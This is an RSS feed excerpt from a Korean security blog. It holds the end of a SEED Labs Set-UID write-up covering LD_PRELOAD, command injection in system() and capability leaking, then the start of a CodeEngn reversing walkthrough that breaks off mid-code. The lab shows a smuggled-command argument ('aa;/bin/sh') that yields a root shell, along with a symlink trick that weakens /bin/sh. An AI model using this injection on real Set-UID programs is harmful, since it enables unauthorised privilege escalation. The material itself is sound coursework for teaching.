&lt;p&gt;다른 &lt;span style=&quot;color: #333333;&quot;&gt;environment variables와 &lt;/span&gt;마찬가지로 export로 선언된 LD_PRELOAD 또한 새로운 program이 시작할 때 &lt;span style=&quot;color: #333333;&quot;&gt;environment variables로 전달된다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Step2-(1)에서는 LD_PRELOAD를 이용해 우리가 새로 생성한 libmylib.so.1.0.1을 이용해 재정의된 sleep() 함수를 실행하는 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Step2-(2)에서는 myprog 프로그램을 Set-UID 권한을 가진 root 프로그램으로 변경하였다. &lt;span style=&quot;color: #333333;&quot;&gt;최근 환경에서는 dynamic linker (ld.so or ld-linux.so)에 countermeasure가 적용되어 있는데 process의 real ID와 effective ID가 다르면 LD_PRELOAD를 environment variables를 무시한다. 따라서 sleep() 함수가 실행되는 것을 확인할 수 있다.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-- The real user ID: process를 실행시키는 user&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-- The effective user ID: access control을 위해 사용되는 user&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1610365824813&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[01/11/21]seed@VM:~/.../SEEDLAB$ gcc -fPIC -g -c mylib.c
[01/11/21]seed@VM:~/.../SEEDLAB$ export LD_PRELOAD=./libmylib.so.1.0.1 
[01/11/21]seed@VM:~/.../SEEDLAB$ ./myprog 					// step2-(1)
I am not sleeping!
[01/11/21]seed@VM:~/.../SEEDLAB$ sudo chown root myprog
[01/11/21]seed@VM:~/.../SEEDLAB$ sudo chmod 4755 myprog
[01/11/21]seed@VM:~/.../SEEDLAB$ ll myprog
-rwsr-xr-x 1 root seed 7348 Jan 11 07:07 myprog
[01/11/21]seed@VM:~/.../SEEDLAB$ ./myprog 					// step2-(2)
[01/11/21]seed@VM:~/.../SEEDLAB$ &lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Step2-(3)는 process의 real ID와 effective ID가 동일하기 때문에 LD_PRELOAD &lt;span style=&quot;color: #333333;&quot;&gt;environment variables&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;가 &lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;무시되지 않고 실행되는 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1610367378261&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[01/11/21]seed@VM:~/.../SEEDLAB$ sudo su
root@VM:/home/seed/Computer_Security/SEEDLAB# export LD_PRELOAD=./libmylib.so.1.0.1 
root@VM:/home/seed/Computer_Security/SEEDLAB# ./myprog 			// step2-(3)
I am not sleeping!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Step2-(4)도 마찬가지로 process의 real ID와 effective ID가 다르기 때문에 LD_PRELOAD가 무시되고 sleep() 함수가 실행된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1610367562078&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[01/11/21]seed@VM:~/.../SEEDLAB$ sudo useradd -d /usr/user1 -m user1
[01/11/21]seed@VM:~/.../SEEDLAB$ sudo chown user1 myprog
[01/11/21]seed@VM:~/.../SEEDLAB$ sudo chmod 4755 myprog
[01/11/21]seed@VM:~/.../SEEDLAB$ ll myprog
-rwsr-xr-x 1 user1 seed 7348 Jan 11 07:07 myprog
[01/11/21]seed@VM:~/.../SEEDLAB$ export LD_PRELOAD=./libmylib.so.1.0.1 
[01/11/21]seed@VM:~/.../SEEDLAB$ ./myprog 				// step2-(4)
[01/11/21]seed@VM:~/.../SEEDLAB$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;** LD_PRELOAD: shared library를 위한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;environment variables로서 LD_LIBRARY_PATH와 더불어 추가적인 shared library의 위치를 알려준다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Task 8: Invoking External Programs Using system() versus execve()&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;b&gt;Goal: Understand the dangerous of system() function&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;It&amp;nbsp;has&amp;nbsp;nothing&amp;nbsp;to&amp;nbsp;do&amp;nbsp;with&amp;nbsp;environment&amp;nbsp;variables&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;b&gt;Step&amp;nbsp;1:&lt;/b&gt; Compile the below program, make it a root-owned Set-UID program. The program will use system() to invoke the command. Can you compromise the integrity of the system? For example, can you remove a file that is not writable to you? &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step&amp;nbsp;2:&lt;/b&gt; Comment out the system(command) statement, and uncomment the execve() statement; the program will use execve() to invoke the command. Compile the program, and make it a root-owned Set-UID. Do your attacks in Step 1 still work? Please describe and explain your observations.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1610370292789&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int main(int argc, char *argv[])
{
        char *v[3];
        char *command;

        if(argc &amp;lt; 2){
                printf(&quot;Please type a file name.\n&quot;);
                return 1;
        }

        v[0] = &quot;/bin/cat&quot;; v[1]=argv[1]; v[2] = NULL;

        command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
        sprintf(command, &quot;%s %s&quot;, v[0], v[1]);

        system(command);
        //execve(v[0], v, NULL);

        return 0;
}

[01/11/21]seed@VM:~/.../SETUID$ gcc -o task8 task8.c
[01/11/21]seed@VM:~/.../SETUID$ sudo chown root task8
[01/11/21]seed@VM:~/.../SETUID$ sudo chmod 4755 task8
[01/11/21]seed@VM:~/.../SETUID$ sudo ln -sf /bin/zsh /bin/sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;일반적으로 &quot;;&quot; 를 이용해 여러 명령어를 실행할 수 있다. task8 프로그램이 Set-UID 권한을 갖는 root 프로그램이기 때문에 중요한 명령어들을 실행할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1610370676497&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[01/11/21]seed@VM:~/.../SETUID$ ./task8  &quot;aa;/bin/sh&quot;
/bin/cat: aa: No such file or directory
# id           
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;system() 함수와 달리 execve() 함수는 shell이 실행하는것이 아니라 OS가 execve() 함수로부터 받은 parameter를 조합하여 실행한다. 따라서 &quot;;&quot;를 이용해 여러 명령어를 실행하려 하더라도 OS는 이것을 하나의 명령어로 받아들여 다음과 같이 정상적으로 실행할 수 없다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1610370908923&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[01/11/21]seed@VM:~/.../SETUID$ ./task8 &quot;aa;bin/sh&quot;
/bin/cat: 'aa;bin/sh': No such file or directory
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Task 9: Capability Leaking&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Compile the following program, change its owner to root, and make it a Set-UID program. Run the program as a normal user, and describe what you have observed. Will the file /etc/zzz be modified? Please explain your observation.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1610371785317&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

void main()
{
        int fd;

        /* Assuem that /etc/zzz is an important system file,
         * and it is owned by root with permission 4755.
         * Before running this program, you should creat
         * the file /etc/zzz first */

        fd = open(&quot;/etc/zzz&quot;, O_RDWR | O_APPEND);

        if(fd ==-1){
                printf(&quot;Cannot open /etc/zzz\n&quot;);
                exit(0);
        }

        /* Simulate the tasks conducted by the program */
        sleep(1);

        /* After the task, the root privileges are no longer needed,
           it's time to relinquish the root privileges permanently. */
        setuid(getuid());       /* getuid() returns the real uid*/

        if(fork()){ /* in the parent process */
                close(fd);
                exit(0);
        } else{ /* in the child process */
        /* Now, assume that the child process is compromised, malicious
           atackers have injected the following statements into this process*/

        write (fd, &quot;Malicious Data\n&quot;, 15);
        close(fd);
        }
}

[01/11/21]seed@VM:~/.../SETUID$ sudo chown root task9
[01/11/21]seed@VM:~/.../SETUID$ sudo chmod 4755 task9
[01/11/21]seed@VM:~/.../SETUID$ sudo touch /etc/zzz&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;fork() 함수를 사용하게 되면 child process와 parent process 모두 동일한 file descriptor를 사용한다. paranet process는 &quot;/etc/zzz&quot;에 대한 fd를 close했지만, child process는 여전히 &quot;/etc/zzz&quot;에 대한 fd를 소유하고 있기 때문에 child process는 fd에 접근하여 &quot;Malicious Data&quot;를 쓸 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;참고문헌&lt;/p&gt;
&lt;p&gt;[1] &lt;a href=&quot;https://seedsecuritylabs.org/Labs_16.04/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;seedsecuritylabs.org/Labs_16.04/&lt;/a&gt;&lt;/p&gt;</description>
      <category>SEEDLAB</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/253</guid>
      <comments>https://marcokhan.tistory.com/253#entry253comment</comments>
      <pubDate>Tue, 12 Jan 2021 17:13:36 +0900</pubDate>
    </item>
    <item>
      <title>[코드엔진] 제대로 공부하는 Basic RCE L01</title>
      <link>https://marcokhan.tistory.com/252</link>
      <description>&lt;p&gt;=========================&lt;span style=&quot;color: #333333;&quot;&gt;=========================&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;=========================&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;본격적으로 코드엔진 리버싱 풀이에 대해 포스팅한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&quot;제대로&quot; 공부하기 위해 어떻게 프로그램을 바라보고 분석해야 하는지에 초점을 맞추고 &quot;제대로&quot; 풀이한다.&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;=========================&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;=========================&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;=========================&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;문제: Basic RCE L01&lt;/b&gt;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;- HDD를 CD-Rom으로 인식시키기 위해서는 GetDriveTypeA의 리턴값이 무엇이 되어야 하는가..?&lt;/b&gt;&lt;/h4&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;풀이&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 실행 및 유추&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;분석할 프로그램을 받자마자 분석하는것은 개인적으로 어리석다고 생각한다.&lt;/p&gt;
&lt;p&gt;우선 분석할 프로그램이 실행 가능하다면, 프로그램을 실행해보고 어떤 흐름을 갖는지 생각하는 것이 중요&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HYxSq/btqL8WjwKiI/WyGK9w0a6otkXZz0pjPdM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HYxSq/btqL8WjwKiI/WyGK9w0a6otkXZz0pjPdM0/img.png&quot; data-alt=&quot;Fig 1. 결과화면 1&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HYxSq/btqL8WjwKiI/WyGK9w0a6otkXZz0pjPdM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHYxSq%2FbtqL8WjwKiI%2FWyGK9w0a6otkXZz0pjPdM0%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Fig 1. 결과화면 1&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjMsdZ/btqL377SZeI/ygtkVh7uXIH7pr68WEgsTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjMsdZ/btqL377SZeI/ygtkVh7uXIH7pr68WEgsTK/img.png&quot; data-alt=&quot;Fig 2. 결과화면 2&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjMsdZ/btqL377SZeI/ygtkVh7uXIH7pr68WEgsTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjMsdZ%2FbtqL377SZeI%2FygtkVh7uXIH7pr68WEgsTK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Fig 2. 결과화면 2&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;사용자가 누를 수 있는 버튼은 Window MessageBox 확인 버튼 뿐이고 확인을 누르면 &quot;Nah... This is not a CD-ROM Drive!&quot;을 표시한 window MessageBox가 출력된다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;문제로 미루어 보았을 때 이 프로그램 내부에서 GetDriveTypeA의 return 값을 특정 값(?)과 비교하여 True/False로 분기하는 것 같다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 간단한 정적 분석&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;필자는 주로 분석 프로그램을 분석하기 전에 패킹 유무나 유의미한 정보를 얻기 위해 간단한 정적 분석을 시도한다.&lt;/p&gt;
&lt;p&gt;&quot;&lt;b&gt;Exeinfo pe&lt;/b&gt;&quot;를 활용한 결과는 Fig 3.과 같다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dgGhRq/btqL6HgC7AC/mDP11sgF3zfpW2Sy2klhD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dgGhRq/btqL6HgC7AC/mDP11sgF3zfpW2Sy2klhD0/img.png&quot; data-alt=&quot;Fig 3. Exeinfo PE 결과화면 1&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dgGhRq/btqL6HgC7AC/mDP11sgF3zfpW2Sy2klhD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdgGhRq%2FbtqL6HgC7AC%2FmDP11sgF3zfpW2Sy2klhD0%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Fig 3. Exeinfo PE 결과화면 1&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;100% 신뢰할 수 없지만 Window GUI 프로그램인 것과 패킹이 되어 있지 않은 것을 확인 할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tGLcl/btqL7QRDcqt/C84oaoXOiq1rZDPQRtyIp1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tGLcl/btqL7QRDcqt/C84oaoXOiq1rZDPQRtyIp1/img.png&quot; data-alt=&quot;Fig 4. Exeinfo PE, Header 정보 결과화면&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tGLcl/btqL7QRDcqt/C84oaoXOiq1rZDPQRtyIp1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtGLcl%2FbtqL7QRDcqt%2FC84oaoXOiq1rZDPQRtyIp1%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Fig 4. Exeinfo PE, Header 정보 결과화면&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Fig 4.에서 Image base와 Base of Code를 이용해 0x401000번지가 Entry Point가 될 확률이 높다는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. OllyGDB를 활용한 바이너리 분석&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Fig 5.처럼 MessageBoxA API를 호출한 뒤 GetDriveTypeA를 호출하고 &quot;inc, dec, jmp, cmp, je&quot; 명령어로 &lt;span style=&quot;color: #333333;&quot;&gt;GetDriveTypeA의 return value(eax)를 연산하고 비교하는 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vVwjg/btqL3vBftKk/IZ8fCMEcPchW4YkkCk3UJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vVwjg/btqL3vBftKk/IZ8fCMEcPchW4YkkCk3UJk/img.png&quot; data-alt=&quot;Fig 5. OllyGDB 결과화면 1&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vVwjg/btqL3vBftKk/IZ8fCMEcPchW4YkkCk3UJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvVwjg%2FbtqL3vBftKk%2FIZ8fCMEcPchW4YkkCk3UJk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Fig 5. OllyGDB 결과화면 1&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;GetDriveTypeA의 return value를 설명한 것은 Fig 6.fh 나타낼 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;현재 RootPahtName=&quot;c:\&quot;로 설정되어 있기 때문에 DRIVE_FIXED value 를 나타내는 3이 reutrn된다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/N0D6S/btqL3vBfCCo/HnKlRCGGgyRpZ4sFWcBk21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/N0D6S/btqL3vBfCCo/HnKlRCGGgyRpZ4sFWcBk21/img.png&quot; data-alt=&quot;Fig 6. GetDriveTypeA의 reuturn value&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/N0D6S/btqL3vBfCCo/HnKlRCGGgyRpZ4sFWcBk21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FN0D6S%2FbtqL3vBfCCo%2FHnKlRCGGgyRpZ4sFWcBk21%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Fig 6. GetDriveTypeA의 reuturn value&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;0x0040101D~0x00401026의 assembly를 C-type pseudo code로 나타내면 다음과 같다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;colorscripter-code&quot; style=&quot;color: #f0f0f0; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position: relative !important; overflow: auto;&quot;&gt;
&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin: 0; padding: 0; border: none; background-color: #272727; border-radius: 4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border-right: 2px solid #4f4f4f;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; color: #aaa; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height: 130%;&quot;&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;1&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;2&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;3&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;4&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;5&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;6&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;7&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;8&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;9&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;10&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;11&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;12&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px 0; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; color: #f0f0f0; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height: 130%;&quot;&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;eax&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c10aff;&quot;&gt;3&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #999999;&quot;&gt;//&amp;nbsp;return&amp;nbsp;value&amp;nbsp;of&amp;nbsp;GetDriveTypeA&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;esi&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c10aff;&quot;&gt;0&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;esi&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;+&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #999999;&quot;&gt;//&amp;nbsp;esi&amp;nbsp;=&amp;nbsp;1&lt;/span&gt;&lt;/div&gt;
